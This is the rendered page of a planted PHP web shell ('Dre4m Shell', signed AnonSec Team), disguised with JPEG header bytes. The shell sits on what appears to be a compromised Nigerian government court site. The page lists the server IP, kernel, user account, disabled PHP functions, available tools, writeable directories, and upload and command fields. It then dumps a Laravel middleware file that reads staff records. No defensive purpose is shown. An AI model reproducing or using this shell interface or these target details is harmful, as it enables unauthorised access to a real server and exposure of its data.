ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.116.27.23
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Middleware/GlobalVariablesMiddleware.php
<?php

namespace App\Http\Middleware;

use Closure;
use response;
use Cache;
use Auth;
use DB;
use Session;
use view;



class GlobalVariablesMiddleware
{
    /*Cache::Put ()
    Cache::Get()
    Cache::Forever()
    Cache::Has()
    Cache::pull('key');
    Cache ::put(key, value , 15);*/


    public function handle($request, Closure $next)
    {
        $allStaff = [];
        $newStaff = [];
        $companyName = null;
        $globalVariable = [];

        try{
            //Alert for new Staff
                $newStaff = DB::table('tblper')
                ->Join('tbldivision', 'tblper.divisionID', '=', 'tbldivision.divisionID')
                ->where('tblper.staff_status', 9)
                ->where('tblper.divisionID', Session::get('divisionID'))
                ->orderBy('tblper.grade', 'Desc')
                ->orderBy('tblper.step', 'Desc')
                ->get();

            //Alert for Icrement
            $allStaff = DB::table('tblper')
                ->Join('tbldivision', 'tblper.divisionID', '=', 'tbldivision.divisionID')
                ->where('tblper.staff_status', '=', 1)
                ->where('tblper.divisionID', Session::get('divisionID'))
                ->whereRaw('tblper.grade <> tblper.gradealert')
                ->whereRaw('tblper.step <> tblper.stepalert')
                ->where('tblper.grade', '<>', 0)
                ->where('tblper.stepalert', '<>', 0)
                ->where('tblper.gradealert', '<>', '')
                ->where('tblper.stepalert', '<>', '')
                //->orwhere('tblper.employee_type', '<>', 'CONSOLIDATED')
                ->orderBy('tblper.grade', 'Desc')
                ->orderBy('tblper.step', 'Desc')
                ->get();
                
            //Get company Details
             $companyName = DB::table('report_head_logo')->orderBy('id', 'Desc')->first();

        } catch (\Throwable  $errorThrown) {}

        $globalVariable['increment']    = $allStaff;
        $globalVariable['NewStaff']     = $newStaff;
        $globalVariable['companyName']  = $companyName;


        view()->share($globalVariable);
        return $next($request);
    }
}

Anon7 - 2022
AnonSec Team